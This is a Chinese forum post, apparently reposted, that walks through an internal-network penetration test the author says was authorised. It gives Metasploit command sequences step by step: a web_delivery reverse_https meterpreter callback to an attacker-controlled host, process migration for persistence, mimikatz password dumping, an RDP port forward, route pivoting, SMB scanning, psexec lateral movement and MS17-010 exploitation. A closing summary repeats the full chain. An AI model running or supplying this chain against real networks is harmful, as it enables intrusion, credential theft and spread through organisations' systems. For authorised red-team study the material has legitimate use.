taibeihacker
Moderator
0x00 简介
本次測試為實戰測試,測試環境是授權項目中的一部分,敏感信息內容已做打碼處理,僅供討論學習。由於本人在內網方面的掌握也是屬於新手階段,運用到的一些msf攻擊手法也很基礎,請各位表哥多多指教。0x01 获得shell
Getshell的過程沒什麼好說的,無非簡單的後台弱口令到上傳然後冰蠍連接getshell。獲得shell後,模擬終端ping 8.8.8.8有返回包,說明該服務器與外網互通。

既然跟外網互通,那麼可以嘗試直接使用msf的exploit/multi/handler配合冰蠍反彈shell來獲得session
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
set lport 5665
run

但是結果很不盡人意,沒能夠成功獲得session。
在使用冰蠍模擬終端收集信息過程中,發現本地有powershell進程。

再次打開msf,本次嘗試使用web_delivery配合終端執行powershell指令來獲得session。
User exploit/multi/script/web_delivery
Set targets 2
set payload windows/x64/meterpreter/reverse_https
set lhost xxx.xxx.xxx.xxx
set lport 4332
set srvport
run


獲得payload,使用冰蠍或者C刀模擬終端直接執行,成功獲得session,執行getuid發現權限為system權限,省去了提權過程。

0x02 权限维持
為了獲得一個持久穩定的高權限session,我們需要將當前的session進程遷移到一個持久、堅挺又穩定的進程上,防止突然暴斃(咳咳)我們使用ps查看當前進程,然後選中一個看起來比較持久的幸運兒spoolsv.exe(這是一個用來控制打印的進程,我遇到的機器基本都開啟了此進程)注意:選擇進程的時候優先選擇系統進程,這種比較持久且為system權限
migrate 進程號
getpid

0x03 内网信息搜集
不管是在什麼類型的滲透環境下,信息蒐集永遠是不可缺少的一環,他決定了你滲透的效率,可以讓你在滲透過程中少走很多彎路,畢竟在項目上尤其是紅藍攻防中,最缺的永遠是時間接下來,查看IP信息以及arp緩存,查看網段分佈情況:


發現該服務器只存在192.168.10.0/24網段的信息
於是繼續查看其他信息
Netstat -ano
發現服務器開放3389端口:

既然開啟了3389端口,我們使用端口轉發,登錄到服務器看看有沒有意外收穫。
portfwd add -l 6666 -p 3389 -r 127.0.0.1
IP有了,3389開了,現在我們缺少的是用戶名密碼
直接meterpreter下加載mimikatzLoad mimikatz
Wdigest

比較遺憾的是沒能獲取到明文密碼,但是我這邊使用cobalt strike加載的mimikatz成功獲取到明文密碼
emmm總之搞不懂的地方先歸為玄學問題

現在,密碼也有了,mstsc鏈接目標3389端口成功此处涉及的敏感信息较多,放弃截图,我尽量用语言表述清楚思路上傳netpass查看rdp緩存,無果,但是發現系統有VNCVNC:VNC (Virtual Network Console)是虛擬網絡控制台的縮寫,是一款遠程控制工具軟件。
查看VNC相關文件發現新的網段信息,但是沒有保存的連接信息,不過能獲得新的網段信息也是知足了

0x04 横向
至此,信息收集部分其實也就差不多,接下來我們開始嘗試橫向移動根據之前發現的網段信息以及服務器本機的路由信息,我們手動添加路由
Run autoroute -s 192.168.10.0/24
Run autoroute -s 172.16.0.0/24
……
其他網段同理,添加路由之後bg退回到控制台
先使用auxiliary/scanner/smb/smb_version模塊掃描一下各網段的smb服務開啟情況
Use auxiliary/scanner/smb/smb_version
set rhosts 192.168.10.0/24
set threads 10
run

可以看到,活著的機器還挺多。

然後,使用auxiliary/scanner/smb/psexec_loggedin_users模塊配合已獲得的兩組賬戶密碼進行橫向
Use auxiliary/scanner/smb/psexec_loggedin_users
Set rhosts 192.168.10.0/24
Set smbuser username
Set smbpass password
Set threads 5
run

尷尬,橫向失敗,居然沒有用同賬戶密碼

既然橫向失敗,可以考慮最簡單的,但也是最實用的大殺器,ms17-010
先使用scanner模塊掃描一下哪些機器可能存在ms17-010的漏洞
Use auxiliary/scanner/smb/smb_ms17_010
Set rhosts 192.168.10.0/24
Set thread 20
Run

由於打ms17-010的流量比較大,為了防止死掉,我根據掃描出來的結果,針對性的選擇一台感覺比較容易搞的目標,單獨打。
此處試了很多機器,好多都打了補丁,不過也有漏網之魚,此處單獨拿一台示例:
Use auxiliary/admin/smb/ms17_010_command
set rhost 192.168.10.18
set command whoami
run

成功執行,是system權限,同理command換成彈shell的命令,便可以獲得該機器的權限。

獲得新機器的權限之後,便可以圍繞新機器進行新一輪的信息蒐集,然後不斷橫向,進一步擴大內網戰果,以下,就不在多做測試。
另外對於ms17-010,如果說打2003的機器,建議使用auxiliary/admin/smb/ms17_010_command模塊進行執行命令獲得session;其他的可以直接使用exploit/windows/smb/ms17_010_eternalblue或者exploit/windows/smb/ms17_010_psexec來直接獲得session。
0x05 总结
1.目標已獲得shell,通過冰蠍已連接一句話2.在MSF下執行以下命令,生成web_delivery的ps後門和監聽
msfuser exploit/multi/script/web_delivery
msfset targets 2
msfset payload windows/x64/meterpreter/reverse_https
msfset lhost 172.17.0.4
msfset lport 4332
msfset srvhost 0.0.0.0
msfset srvport 3294
msfrun
3.複製生成的PS後門,在冰蠍命令終端執行,MSF成功上線
msfsessions 1
4.查看目標權限為system權限
meterpretergetuid
5.權限維持,進程遷移
meterpreterps //查看spoolsv.exe所在的system權限的進程PID為7072
meterpretermigrate 7072
6.內網信息收集
meterpretershell
c:\ipconfig/all //發現目標內網IP為192.168.10.122
c:\arp -a //發現有多個IP存活
c:\netstat -ano //發現目標系統3389端口已開放
7.直接meterpreter下加載mimikatz,獲取到用戶的密碼和明文
meterpreterLoad mimikatz
meterpreterWdigest
8.既然開啟了3389端口,我們使用端口轉發
portfwd add -l 6666 -p 3389 -r 127.0.0.1
9.在kali下遠程桌面登錄
redesktop 127.0.0.1 6666
10.遠程桌面登錄,通過netpass進行遠程桌面密碼查看,發現沒有任何東西,但是發現存在VNC鏈接
11.根據之前發現的網段信息以及服務器本機的路由信息,我們手動添加路由
meterpreterrun autoroute -s 192.168.10.0/24
meterpreterrun autoroute -s 172.16.0.0/24
meterpreterrun autoroute -p
meterpreterroute print
meterpreterbackground
msfroute add 192.168.10.0 255.255.255.0 1
msfroute add 172.16.0.0 255.255.255.0 1
12.使用auxiliary/scanner/smb/smb_version模塊掃描一下各網段的smb服務開啟情況
meterpreterbackground
msfuse auxiliary/scanner/smb/smb_version
msfset rhosts 192.168.10.0/24
msfset threads 10
msfrun
13.使用auxiliary/scanner/smb/psexec_loggedin_users模塊配合已獲得的兩組賬戶密碼進行橫向,發現都失敗了
msfuse auxiliary/scanner/smb/psexec_loggedin_users
msfset rhosts 192.168.10.0/24
msfset smbuser username
msfset smbpass password
msfset threads 5
msfrun
14.使用scanner模塊掃描一下哪些機器可能存在ms17-010的漏洞
msfuse auxiliary/scanner/smb/smb_ms17_010
msfset rhosts 192.168.10.0/24
msfset thread 20
msfrun
15.由於打ms17-010的流量比較大,為了防止死掉,我根據掃描出來的結果,針對性的選擇一台感覺比較容易搞的目標,單獨打。
msfuse auxiliary/admin/smb/ms17_010_command
msfset rhost 192.168.10.18
msfset command whoami
msfrun
原文連接:https://xz.aliyun.com/t/6920